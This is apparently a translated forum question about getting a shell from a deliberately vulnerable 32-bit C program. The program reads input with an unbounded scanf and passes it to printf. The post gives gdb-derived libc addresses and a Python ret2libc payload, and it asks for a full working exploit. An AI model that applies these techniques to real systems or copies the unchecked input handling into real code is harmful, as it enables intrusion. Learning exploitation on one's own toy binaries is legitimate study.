#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[])
{
char a[10];
scanf("%s",&a);
printf(a);
return 0;
}
我使用gdb
命令中的p system
找到了system()
函数的地址。然后通过使用x/500s $esp
检查栈帧,发现了包含\bin\sh
的环境变量地址。
system: 0xf7e2cda0
exit: 0xf7e209d0
\bin\bash: 0xffffd207
有了这些准备工作,我构建了以下格式字符串:
python -c 'print "A"*14 + "\xbc\xcd\xff\xff" + "\xa0\xcd\xe2\xf7" + "\xd0\x09\xe2\xf7" + "\x07\xd2\xff\xff"' > inp
其中 0xffffcdbc - 0x4
是包含系统地址 0xf7e2cda0
值的本地地址。
我使用 gcc -m32 -fno-stack-protector -o sh sh.c
编译了程序,并使用 gdb sh
运行它。在执行时,当输入 r<inp
时,我得到如下输出:
如上所示,有一些错误命令被显示出来,只有再次运行r
命令后才能进入shell。请问有人可以解释一下我在这里错过了什么,以便我直接进入shell吗?
此外,当我尝试通过偏移gdb地址而不使用gdb来执行上述程序(即通过 ./sh < inp
)时,我会收到一个分段错误。我认为一旦上述问题得到纠正,就可以解决这个问题。
请给出一个完整的工作利用程序的答案——大多数在线教程使用argv[1]
来解释类似的问题,但我希望在不使用参数的情况下使利用程序工作。
谢谢!
/bin/bash
还是/bin/dash
? - ntshetty/bin/bash
,但据我了解,在gdb
中,它会被解释为/bin/dash
。无论如何,如果我能有一个适用于上述代码的工作漏洞利用,那就太好了。 - re3el